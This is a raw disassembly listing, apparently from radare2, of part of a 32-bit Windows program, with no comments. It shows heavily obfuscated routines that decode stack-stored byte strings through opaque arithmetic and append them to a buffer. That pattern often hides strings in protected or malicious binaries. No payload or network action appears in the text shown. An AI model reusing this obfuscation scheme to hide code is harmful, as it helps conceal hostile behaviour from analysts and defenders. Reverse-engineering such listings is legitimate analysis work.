mov ebp, ecx
sub ebp, ebx
mov dword [esp], esi
lea esi, [ebp - 0x3eb0d954]
lea eax, [edi + ebp]
add eax, 0xc14f26ac
and esi, edi
add esi, esi
sub eax, esi
mov esi, dword [esp]
add al, 0x4c
mov byte [esp + ebp + 0x1d0], al
add ebx, esi
inc esi
sub ecx, ebx
mov bl, byte [esp + ecx + 0x1ce]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, bl
add ecx, edx
add eax, ecx
mov ecx, edx
inc eax
cmp eax, 0x1b
jb 0x46857e
jmp 0x4686dd
lea ebp, [ecx + 5]
cmp esi, ebp
je 0x4685d6
lea ebx, [ecx + 6]
cmp esi, ebx
je 0x468622
lea ebx, [eax + 0x7d0c95b1]
lea edx, [eax + edi]
add edx, 0x7d0c95b1
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x29
mov byte [esp + eax + 0x1d0], dl
jmp 0x468693
mov eax, 0x101289d
jmp 0x4686e6
xor eax, eax
jmp 0x4686e6
mov eax, 0x17492ec
add eax, esp
add eax, 0x1d0
mov ebp, dword [esp + 0x5f8]
mov dword [esp], eax
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, closesocket
sub ecx, ebp
cmp ecx, eax
jb 0x46d62f
lea edi, [esp + 0xcc]
mov ecx, dword [esp + 0x5e8]
mov edx, dword [esp + 0x5fc]
mov dword [edi], 0
mov dword [esp + 4], eax
mov esi, eax
add esi, ebp
mov ebx, 0xf
cmp esi, 0x10
jb 0x468791
mov edi, esi
or edi, 0xf
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
js 0x468765
cmp edi, 0x17
mov ebx, 0x16
cmovae ebx, edi
lea eax, [ebx + 1]
cmp ebx, 0xfff
jb 0x468777
mov ebx, edi
jmp 0x46876f
mov ebx, closesocket
mov eax, closesocket
push eax
call fcn.0040130b
jmp 0x46877d
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0xcc], eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
cmp edx, 0x10
lea eax, [esp + 0x5e8]
cmovae eax, ecx
mov dword [esp + 0xdc], esi
mov dword [esp + 0xe0], ebx
push ebp
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push dword [esp + 4]
push dword [esp + 4]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + esi], 0
mov edx, dword [esp + 0xcc]
mov ebx, dword [esp + 0xdc]
mov esi, dword [esp + 0xe0]
cmp esi, 0x10
lea ecx, [esp + 0xcc]
cmovae ecx, edx
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x28]
mov eax, ebp
sub eax, edi
cmp eax, ebx
mov eax, ebx
mov dword [esp], esi
jae 0x4688ea
mov ebx, closesocket
mov dword [esp + 4], eax
mov eax, closesocket
sub eax, edi
cmp eax, dword [esp + 4]
mov eax, dword [esp + 4]
jb 0x46d62f
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
lea ecx, [edi + eax]
mov dword [esp + 8], ecx
or ecx, 0xf
mov eax, closesocket
js 0x468867
mov esi, ebp
shr esi, 1
mov edx, esi
xor edx, 0x7fffffff
cmp edx, ebp
jb 0x468867
add esi, ebp
cmp ecx, esi
mov ebx, esi
cmovae ebx, ecx
lea eax, [ebx + 1]
cmp eax, 0x1000
jb 0x46c700
push eax
call fcn.0040130b
add esp, 4
mov esi, dword [esp]
mov ecx, dword [esp + 8]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ebx
cmp ebp, 0x10
jb 0x46891c
mov ebx, dword [esp + 0x14]
push edi
push ebx
push eax
mov esi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add edi, esi
push dword [esp + 4]
push dword [esp + 0x10]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, esi
mov eax, dword [esp + 8]
mov byte [esi + eax], 0
lea ecx, [ebp + 1]
cmp ecx, 0x1000
jb 0x4688d9
mov eax, dword [ebx - 4]
add ebx, 0xfffffffc
sub ebx, eax
cmp ebx, 0x20
jae 0x46d634
add ebp, 0x24
mov ecx, ebp
mov ebx, eax
mov esi, dword [esp]
push ecx
push ebx
call fcn.00471733
add esp, 8
mov ebx, edi
jmp 0x468948
lea ebx, [edi + eax]
mov dword [esp + 0x24], ebx
cmp ebp, 0x10
jb 0x4688fe
mov ebp, edx
mov esi, dword [esp + 0x14]
jmp 0x468904
mov ebp, edx
lea esi, [esp + 0x14]
add edi, esi
push eax
push ecx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + ebx], 0
mov edx, ebp
mov esi, dword [esp]
jmp 0x468950
lea ecx, [esp + 0x14]
push edi
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add edi, ebx
push dword [esp + 4]
push dword [esp + 0x10]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 8]
mov byte [ebx + eax], 0
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x10]
cmp esi, 0x10
jb 0x468982
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x468978
mov eax, dword [edx - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x46d634
add esi, 0x24
mov ecx, esi
mov edx, eax
push ecx
push edx
call fcn.00471733
add esp, 8
mov dword [esp + 0x1d0], 0x14175655
mov dword [esp + 0x1d4], 0x1d13180c
mov dword [esp + 0x1d8], 0xc1a0a0a
mov word [esp + 0x1dc], 0xbfa1
mov byte [esp + 0x1de], 0xb0
xorps xmm0, xmm0
movups xmmword [esp + 0x1df], xmm0
call fcn.0046d640
mov ebp, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp ebp, eax
ja 0x468f28
movzx edx, byte [esp + eax + 0x1d0]
lea esi, [edi + 1]
cmp ebp, esi
jae 0x468a64
lea ecx, [eax - 0xf533c3b]
lea ebx, [eax + edx]
add ebx, 0xf0acc3c5
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x9d
cmp edi, eax
ja 0x468f33
lea ecx, [edi + 3]
cmp ebp, ecx
mov dword [esp], esi
jae 0x468ab2
lea esi, [eax - 0x41d3f0d7]
lea ebx, [eax + edx]
add ebx, 0xbe2c0f29
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xe1
mov dword [esp + 4], ecx
lea esi, [edi + ebp]
cmp esi, eax
jbe 0x468af9
lea ecx, [edi + 6]
cmp ebp, ecx
jne 0x468b99
lea ecx, [eax + 0x4b95a630]
lea ebx, [eax + edx]
add ebx, 0x4b95a630
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb0
jmp 0x468af1
jne 0x468a83
lea ecx, [eax - 0x2df9b4b1]
lea ebx, [eax + edx]
add ebx, 0xd2064b4f
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd7
jmp 0x468d06
lea ecx, [edi + 2]
cmp ebp, ecx
jne 0x468b48
mov dword [esp], esi
mov dword [esp + 4], ebp
lea ecx, [eax - 0x6b46a59d]
lea ebx, [eax + edx]
add ebx, 0x94b95a63
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x4b
jmp 0x468ca6
cmp ebp, esi
jne 0x468b70
lea ecx, [eax - 0x607a694d]
lea ebx, [eax + edx]
add ebx, 0x9f8596b3
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x1b
lea esi, [eax - 0x2a7d3bbd]
lea ecx, [edx + eax]
add ecx, 0xd582c443
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0x2b
mov byte [esp + eax + 0x1d0], cl
mov edi, dword [esp]
jmp 0x468b93
lea ecx, [edi + 0xa]
cmp ebp, ecx
jae 0x468bc1
lea ecx, [eax - 0xf533c3b]
lea ebx, [eax + edx]
add ebx, 0xf0acc3c5
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x9d
cmp esi, 0x28
jne 0x468c57
mov dword [esp + 4], ebp
lea ecx, [eax - 0x5876f06e]
lea ebx, [eax + edx]
add ebx, 0xa7890f92
and ecx, edx
add ecx, ecx
sub ebx, ecx
sub bl, dl
add bl, 2
jmp 0x468ca6
lea ecx, [edi + 3]
cmp ebp, ecx
jne 0x468be7
lea ecx, [eax + 0x576c6977]
lea ebx, [eax + edx]
add ebx, 0x576c6977
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xbf
jmp 0x468c49
lea esi, [edi + 2]
cmp ebp, esi
jne 0x468c07
lea ecx, [eax + 0x6238a5c7]
lea ebx, [eax + edx]
add ebx, 0x6238a5c7
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x8f
dec eax
jmp 0x468d0a
mov ecx, dword [esp]
cmp ebp, ecx
jne 0x468c7f
lea ecx, [eax - 0x2f043ba8]
lea ebx, [eax + edx]
add ebx, 0xd0fbc458
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x98
jmp 0x468c4b
cmp ebp, dword [esp]
jne 0x468d19
lea ecx, [eax + 0x7c581e52]
lea ebx, [eax + edx]
add ebx, 0x7c581e52
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc2
jmp 0x468d06
lea ecx, [edi + 4]
cmp ebp, ecx
jne 0x468d41
lea esi, [eax + 0x38c5f101]
lea ebx, [eax + edx]
add ebx, 0x38c5f101
and esi, edx
mov cl, 0xf9
jmp 0x468c22
cmp ebp, ecx
jne 0x468d6c
lea esi, [eax + 0x43922d51]
lea ebx, [eax + edx]
add ebx, 0x43922d51
and esi, edx
mov cl, 0xc9
add esi, esi
sub ebx, esi
add bl, cl
lea esi, [eax - 0x4923b433]
lea ecx, [edx + eax]
add ecx, 0xb6dc4bcd
and esi, edx
add esi, esi
sub ecx, esi
add cl, bl
add cl, 0x65
mov byte [esp + eax + 0x1d0], cl
add ebp, edi
movzx ecx, bl
not ecx
add eax, ecx
jmp 0x468d0a
mov ecx, dword [esp]
cmp ebp, ecx
jne 0x468d90
lea ecx, [eax + 0x3a842d7b]
lea ebx, [eax + edx]
add ebx, 0x3a842d7b
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa3
jmp 0x468ad2
lea ecx, [edi + 8]
cmp ebp, ecx
jne 0x468ee2
mov dword [esp + 4], ebp
lea ecx, [eax - 0x4daab41e]
lea ebx, [eax + edx]
add ebx, 0xb2554be2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd2
lea esi, [eax - 0x67ca2ca9]
lea ecx, [edx + eax]
add ecx, 0x9835d357
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0x9f
mov byte [esp + eax + 0x1d0], cl
movzx ecx, cl
not edi
add edi, eax
mov esi, edi
sub esi, ecx
lea ebp, [esi - 0x771d68e4]
lea eax, [esi + edx]
add eax, 0x88e2971c
and ebp, edx
add ebp, ebp
sub eax, ebp
add al, 0x3c
mov byte [esp + esi + 0x1d0], al
mov ebp, dword [esp + 4]
add ecx, ebp
inc ebp
sub edi, ecx
movzx edx, byte [esp + edi + 0x1ce]
add edi, 0xfffffffe
mov eax, edi
mov edi, dword [esp]
add edx, edi
add eax, edx
inc eax
cmp eax, 0x1f
jb 0x4689d0
jmp 0x468f2f
lea ecx, [edi + 2]
cmp ebp, ecx
jne 0x468db4
lea ecx, [eax + 0x2064b4f0]
lea ebx, [eax + edx]
add ebx, 0x2064b4f0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x70
jmp 0x468c4b
lea ecx, [edi + 6]
cmp ebp, ecx
jne 0x4689ff
mov dword [esp], esi
lea ecx, [eax - 0x232d7861]
lea ebx, [eax + edx]
add ebx, 0xdcd2879f
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa7
jmp 0x468ad2
lea esi, [edi + 5]
cmp ebp, esi
jne 0x468dd7
lea ecx, [eax + 0x24ebb4db]
lea ebx, [eax + edx]
add ebx, 0x24ebb4db
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 3
jmp 0x468c49
lea ecx, [edi + 4]
cmp ebp, ecx
jne 0x468dff
lea ecx, [eax - 0x4015b45d]
lea ebx, [eax + edx]
add ebx, 0xbfea4ba3
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x8b
jmp 0x468c49
cmp ebp, dword [esp + 4]
jne 0x468e22
lea ecx, [eax + 0x1be3c7a]
lea ebx, [eax + edx]
add ebx, 0x1be3c7a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xaa
jmp 0x468c49
lea esi, [edi + 4]
cmp ebp, esi
jne 0x468a2d
lea ecx, [eax - 0x55ae2cfd]
lea ebx, [eax + edx]
add ebx, 0xaa51d303
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xeb
jmp 0x468d06
cmp ebp, dword [esp + 4]
jne 0x468e41
lea ecx, [eax - 0x5ebc2cd3]
lea ebx, [eax + edx]
add ebx, 0xa143d32d
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc5
jmp 0x468c4b
lea ecx, [edi + 5]
cmp ebp, ecx
jne 0x468e65
lea esi, [eax - 0x1ce83bfc]
lea ebx, [eax + edx]
add ebx, 0xe317c404
and esi, edx
mov cl, 0xe4
jmp 0x468c22
lea ecx, [edi + 2]
cmp ebp, ecx
jne 0x468e8d
lea ecx, [eax + 0x455069cb]
lea ebx, [eax + edx]
add ebx, 0x455069cb
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x73
jmp 0x468d06
lea ecx, [edi + 7]
cmp ebp, ecx
jne 0x468b1c
lea ecx, [eax - 0x78dba55e]
lea ebx, [eax + edx]
add ebx, 0x87245aa2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x92
jmp 0x468ad2
lea ecx, [edi + 6]
cmp ebp, ecx
jne 0x468eb1
lea ecx, [eax + 0x40c969e0]
lea ebx, [eax + edx]
add ebx, 0x40c969e0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe0
jmp 0x468b93
test edi, edi
je 0x468ed4
lea ecx, [eax - 0x1b29ff82]
lea ebx, [eax + edx]
add ebx, 0xe4d6007e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, bl
add bl, 0x1c
jmp 0x468ad2
mov byte [esp + eax + 0x1d0], bl
xor edi, edi
jmp 0x468d0a
lea ecx, [edi + 0x13]
mov ebp, dword [esp + 4]
cmp ebp, ecx
jb 0x468f0c
add edi, 9
lea ebx, [eax + edx]
add ebx, 0x9c1b559
add eax, 0x9c1b559
and eax, edx
add eax, eax
sub ebx, eax
add bl, 0x91
jmp 0x4689ce
lea ebx, [eax + edx]
add ebx, 0x28682dcf
add eax, 0x28682dcf
and eax, edx
add eax, eax
sub ebx, eax
add bl, 0x57
jmp 0x4689c0
mov eax, 0x1404c21
jmp 0x468f38
xor eax, eax
jmp 0x468f38
mov eax, 0x153885c
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x46902c
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x468fba
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x468fba
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c713
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x469058
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x46907f
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x469082
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x24], edi
cmp ebx, 0x10
jb 0x469041
mov ebx, dword [esp + 0x14]
jmp 0x469045
lea ebx, [esp + 0x14]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x469092
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46908e
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, esi
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [str.cTV_A__]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473bf0]
movups xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0x20372234
mov dword [esp + 0x1f4], 0x792f6f09
mov dword [esp + 0x1f8], 0x40425e68
mov word [esp + 0x1fc], 0x515c
xor eax, eax
mov dword [esp + 0x202], eax
mov dword [esp + 0x1fe], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46935d
mov dl, byte [esp + eax + 0x1d0]
movzx ebp, dl
lea ebx, [ecx + 1]
cmp esi, ebx
jae 0x46915d
cmp ecx, eax
ja 0x469368
lea edi, [esi + ecx]
cmp edi, eax
jbe 0x4691c0
mov dword [esp], edi
lea edi, [ecx + 6]
cmp esi, edi
je 0x469230
lea edi, [ecx + 4]
cmp esi, edi
jne 0x469251
lea esi, [eax + 0x792428c4]
lea edx, [eax + ebp]
add edx, 0x792428c4
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xa4
mov edi, dword [esp]
jmp 0x469191
je 0x46921d
lea edi, [ecx + 2]
cmp esi, edi
je 0x4691c5
lea edi, [ecx + 5]
cmp esi, edi
jne 0x4692a3
lea edi, [eax - 0x5c5ad81f]
lea edx, [eax + ebp]
add edx, 0xa3a527e1
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xd9
add esi, ecx
mov edi, esi
lea esi, [eax + 0x64d37d2d]
lea ebx, [eax + ebp]
add ebx, 0x64d37d2d
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xc5
mov byte [esp + eax + 0x1d0], bl
movzx edx, dl
not edx
add eax, edx
mov esi, edi
jmp 0x4692b3
cmp edi, 0x2a
jne 0x469229
lea edi, [eax - 0xbd80689]
lea edx, [eax + ebp]
add edx, 0xf427f977
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xbf
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebx
lea edi, [eax + 0x3bd2379c]
lea edx, [eax + ebp]
add edx, 0x3bd2379c
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xbc
mov byte [esp + eax + 0x1d0], dl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x4692b3
mov dword [esp], edi
cmp esi, ebx
jne 0x469278
lea edx, [eax - 0x2a80ff1d]
lea ecx, [eax + ebp]
add ecx, 0xd57f00e3
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0xcb
mov byte [esp + eax + 0x1d0], cl
jmp 0x4692b0
lea edi, [ecx + 0xa]
cmp esi, edi
jne 0x4692c2
lea esi, [eax + 0x878a50e]
lea edx, [eax + ebp]
add edx, 0x878a50e
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x9e
mov edi, dword [esp]
jmp 0x4691b2
lea edi, [ecx + 2]
cmp esi, edi
je 0x4692ae
lea edi, [ecx + 3]
cmp esi, edi
jne 0x4692dd
lea esi, [eax + 0x50e2bff9]
lea edx, [eax + ebp]
add edx, 0x50e2bff9
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x31
jmp 0x469158
lea edi, [ecx + 3]
cmp esi, edi
jne 0x469114
mov ebx, ecx
dec eax
mov ecx, ebx
inc eax
cmp eax, 0x36
jb 0x4690fb
jmp 0x469364
lea edi, [ecx + 8]
cmp esi, edi
je 0x4691f1
lea edi, [ecx + 0x28]
cmp esi, edi
je 0x46921d
jmp 0x4690eb
lea edi, [ecx + 6]
cmp esi, edi
je 0x46921d
lea edi, [eax + 0x47aa3e25]
lea edx, [eax + ebp]
add edx, 0x47aa3e25
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xfd
lea edi, [ecx + 4]
cmp esi, edi
jbe 0x469331
lea edi, [eax - 0xb781826]
lea edx, [eax + ebp]
add edx, 0xf487e7da
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xa
cmp ecx, 2
ja 0x469230
mov byte [esp + eax + 0x1d0], dl
jmp 0x4692b3
jne 0x469350
lea esi, [eax - 0x3ed1aab4]
lea edx, [eax + ebp]
add edx, 0xc12e554c
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xec
jmp 0x469270
lea edi, [ecx + 8]
cmp esi, edi
je 0x469230
jmp 0x46931f
mov eax, 0x4bff01
jmp 0x46936d
xor eax, eax
jmp 0x46936d
mov eax, 0x161c0dc
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x46945d
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x4693ef
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x4693ef
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c731
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x469472
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x4694b0
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x4694b3
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x24], edi
cmp ebx, 0x10
jb 0x469499
mov ebx, dword [esp + 0x14]
jmp 0x46949d
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x4694bf
lea ebx, [esp + 0x14]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x4694c3
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, esi
mov dword [esp + 0x14], ebx
xorps xmm0, xmm0
movups xmmword [esp + 0xcf], xmm0
mov dword [esp + 0xde], 0
mov word [esp + 0xcc], 0xb05
mov byte [esp + 0xce], 0x14
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x469aa4
movzx edx, byte [esp + eax + 0xcc]
lea ebp, [edi + 1]
cmp esi, ebp
jae 0x469587
lea ecx, [eax + 0x3afcdf7d]
lea ebx, [eax + edx]
add ebx, 0x3afcdf7d
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x95
cmp edi, eax
ja 0x469aaf
mov dword [esp], ebp
lea ebp, [edi + 2]
cmp esi, ebp
jae 0x4695a6
lea ecx, [eax - 0x2941aabf]
lea ebx, [eax + edx]
add ebx, 0xd6be5541
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x39
lea ecx, [esi + edi]
cmp ecx, eax
jbe 0x469615
cmp esi, dword [esp]
jne 0x4696fe
mov esi, ecx
lea ecx, [eax + 0x308f039e]
lea ebx, [eax + edx]
add ebx, 0x308f039e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xae
jmp 0x4697bc
jne 0x4695eb
lea ecx, [eax - 0x4f096189]
lea ebx, [eax + edx]
add ebx, 0xb0f69e77
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xbf
jmp 0x469a29
cmp esi, dword [esp]
jne 0x4696ad
lea ecx, [eax + 0x4cb8143b]
lea ebx, [eax + edx]
add ebx, 0x4cb8143b
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x63
lea edi, [eax - 0x444214b5]
lea ecx, [edx + eax]
add ecx, 0xbbbdeb4b
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0xf3
mov byte [esp + eax + 0xcc], cl
jmp 0x4696cd
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x4696d6
lea ecx, [eax + 0x26f05d71]
lea ebx, [eax + edx]
add ebx, 0x26f05d71
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe9
mov ebp, edi
jmp 0x4699fa
mov dword [esp + 8], ebp
mov ebp, esi
mov dword [esp + 4], edi
lea esi, [edi + 8]
mov dword [esp + 0xc], esi
cmp ebp, esi
mov esi, ebp
jae 0x469726
mov dword [esp + 0x10], ecx
lea ecx, [eax + 0x3afcdf7d]
lea ebx, [eax + edx]
add ebx, 0x3afcdf7d
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x95
mov edi, dword [esp + 4]
mov ebp, dword [esp + 8]
lea ecx, [edi + 9]
cmp esi, ecx
jbe 0x4697c8
lea ecx, [eax + 0xe4140c9]
lea ebx, [eax + edx]
add ebx, 0xe4140c9
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x81
cmp esi, dword [esp]
jbe 0x469866
lea ecx, [eax - 0x1b0069f6]
lea ebx, [eax + edx]
add ebx, 0xe4ff960a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xba
cmp edi, 5
ja 0x4698fc
mov byte [esp + eax + 0xcc], bl
jmp 0x469a2d
cmp esi, ebp
jne 0x469750
lea ecx, [eax - 0x3d4e2ccb]
lea ebx, [eax + edx]
add ebx, 0xc2b1d335
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x8d
mov edi, dword [esp]
dec eax
jmp 0x469a2d
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x469772
lea ecx, [eax + 0x12e3db65]
lea ebx, [eax + edx]
add ebx, 0x12e3db65
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x3d
jmp 0x4697bc
lea ecx, [edi + 6]
cmp esi, ecx
jne 0x4697ee
lea ecx, [eax - 0x59773d68]
lea ebx, [eax + edx]
add ebx, 0xa688c298
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd8
jmp 0x4697bc
cmp esi, dword [esp]
jne 0x469811
lea ecx, [eax - 0x5283557e]
lea ebx, [eax + edx]
add ebx, 0xad7caa82
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x72
mov edi, dword [esp + 4]
jmp 0x469a29
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x46983e
lea ecx, [eax - 0x515aaed7]
lea ebx, [eax + edx]
add ebx, 0xaea55129
and ecx, edx
mov byte [esp], 0xe1
jmp 0x469792
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x46952a
lea ecx, [eax - 0x128a6a7]
lea ebx, [eax + edx]
add ebx, 0xfed75959
and ecx, edx
mov byte [esp], 0x91
add ecx, ecx
sub ebx, ecx
add bl, byte [esp]
lea ebp, [eax + 0x31b7aa45]
lea ecx, [edx + eax]
add ecx, 0x31b7aa45
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, bl
add cl, 0x1d
mov byte [esp + eax + 0xcc], cl
add esi, edi
movzx ecx, bl
not ecx
add eax, ecx
jmp 0x469a2d
cmp esi, dword [esp]
jne 0x469889
lea ecx, [eax - 0x7bc5003d]
lea ebx, [eax + edx]
add ebx, 0x843affc3
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xab
jmp 0x4695c7
